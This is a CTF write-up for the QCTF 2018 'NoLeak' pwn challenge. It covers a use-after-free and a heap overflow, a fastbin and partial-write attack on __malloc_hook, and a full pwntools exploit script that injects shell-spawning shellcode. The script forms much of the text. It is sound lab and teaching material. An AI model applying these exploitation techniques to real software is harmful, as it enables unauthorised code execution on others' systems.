Partial_write-NoLeak
qctf2018-Noleak a challenge about partial write
Analysis
➜ Desktop checksec NoLeak
[*] '/home/nier/Desktop/NoLeak'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
但是存在RWX 并且没开PIE
漏洞挖掘
- 漏洞点1
if ( cmd <= 9 ) free(buf[cmd]);
未将指针置为0且存放指针位置在bss
- 漏洞点2
idx = buf[(unsigned int)idx]; if ( idx ) { putsn("Size: ", 6u); nbytes = getn(); putsn("Data: ", 6u); LODWORD(idx) = read(0, buf[v3], nbytes); // over flower }
存在溢出
利用思路
- 通过上述两个漏洞可以做fast_bin_atk控制唯一已知位置:bss
- 因为main_arenaq前面就是__malloc_hook
- free掉一个大于128bytes的chunk让其挂在unsorted bin上
- partial write 其fd使其指向__malloc_hook+5-0x10 (利用7f作为合法size位)
- shellcode可以利用之前留下的一个指针写入,并且改写指向__malloc_hook+5的指针为__malloc_hook
- 利用指向__malloc_hook的指针写入shellcode的地址
- call malloc触发shellcode
#主要是partial_write 写掉__malloc_hook
EXP
from pwn import *
bin=ELF("./NoLeak")
def cmd(c):
p.sendlineafter("choice :",str(c))
def add(size,c):
cmd(1)
p.sendlineafter("Size: ",str(size))
p.sendafter("Data: ",c.ljust(size,"\0"))
def remove(idx):
cmd(2)
p.sendlineafter("Index: ",str(idx))
def edit(idx,size,c):
cmd(3)
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))
p.sendafter("Data: ",c.ljust(size,"\0"))
#context.log_level="debug"
p=process("./NoLeak")
add(0x68,"AAAA")
add(0x68,"BBBB")
remove(1)
payload=p64(0x601000-11)
edit(1,0x8,payload)
add(0x68,"CCCC")
add(0x68,"")
add(0x68,'a')#0
add(0x68,'b')#1
add(0x88,'c')#2
add(0x68,'d')#4
remove(2)
remove(1)
remove(0)
edit(0,1,'\xc0')
edit(1,0x70,0x68*"A"+p64(0x71))
edit(2,1,'\x05')#use 0x7f to build fake chunk
add(0x68,"A")
add(0x68,"B")
add(0x68,"XXXX")
context.arch="amd64"
shellcode=asm(shellcraft.sh())
sh=0x601005
off=0x601078-0x601005
shellcode=shellcode.ljust(off,"\0")+"\x10"
edit(3,len(shellcode),shellcode)
edit(7,8,p64(sh))
cmd(1)
p.sendlineafter("Size: ","1")
p.interactive(">")